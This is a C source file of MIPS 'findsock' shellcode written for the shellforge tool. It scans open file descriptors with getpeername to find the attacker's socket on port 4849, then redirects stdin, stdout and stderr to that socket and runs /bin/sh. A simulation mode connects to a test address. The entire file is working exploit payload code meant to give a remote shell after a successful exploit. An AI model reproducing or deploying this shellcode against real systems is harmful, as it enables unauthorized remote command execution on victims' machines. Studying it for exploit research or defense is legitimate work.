/*
 * Simple findsock shellcode for shellforge
 * Julien TINNES
 *
 * For mips (look SOCK_STREAM)
 *
 * WARNING: you have to patch sflib for getpeername!
 * 
 */

//#define SIMULATION
//#define SF_BIGENDIAN

#ifdef SIMULATION
 #include <sys/socket.h> 
 #include <netinet/in.h> 
 #include <netinet/ip.h> 
 #include "sf.h"
#endif

/* sock stream is 2 on mips!! */
#ifndef SIMULATION
 #define SOCK_STREAM 2
#endif

#define DEST_PORT 4849

#ifdef SIMULATION
int doconnect(void) {
	int	fd;
	struct sockaddr_in msa;

	msa.sin_family=AF_INET;
	msa.sin_port=htons(DEST_PORT);
	msa.sin_addr.s_addr=IP(192,168,1,9);


	if ((fd=socket(PF_INET, SOCK_STREAM, 0)) == -1) /* sock stream is 2 on mips!! */
		exit(1);

	return (connect(fd, (struct sockaddr*)&msa, sizeof(struct sockaddr_in)) == 0);

}
#endif
 
void main(void) {
#ifdef SIMULATION
	/* make sure we don't find it immediately */
	dup2(0,3);
	dup2(0,4);

	if (doconnect()) {
#endif
		struct sockaddr_in tempsock;
		int len=sizeof(tempsock);
		int	i;
		char sh[]="/bin/sh";
		char *npoint[]={sh,0};		/* static variables don't work for now on SF MIPS */
#ifdef SIMULATION
		printf("longueur: %d\n", len);
#endif
		for (i=3; i<(1<<16); i++) {	
			if (getpeername(i, (struct sockaddr* )&tempsock, &len)) {
				//write(1, "E ",2);
			} else {
			//	short	*port;
					
			//	port=&(tempsock.sin_port);

				if (ntohs(tempsock.sin_port) == DEST_PORT) {
			/*	
			 *	the above does not work (does beq s2, t0, loc but s2 not initialized!
			 */
		//		if ((*port) == DEST_PORT) {
#ifdef SIMULATION
					printf("found one: %d\n", i);
					printf("ip: %s\n", inet_ntoa(tempsock.sin_addr));
					printf("port: %d\n", ntohs(tempsock.sin_port));
#endif
					write(i, "GGGG", 4);
					dup2(i, 0);
					dup2(i, 1);
					dup2(i, 2);
					execve(sh, npoint, 0);
				} else {
				//	int pute=DEST_PORT;
#ifdef SIMULATION
					printf("Found a bad one %d\n", i);
#endif
				//	write(1, "b: ", 3);
				//	write(1, &(tempsock.sin_port), sizeof(tempsock.sin_port));
				//	write(1, &pute, 4);
					close(i);
				}
			}
		}
#ifdef SIMULATION
	}
#endif
	exit(6969);
}
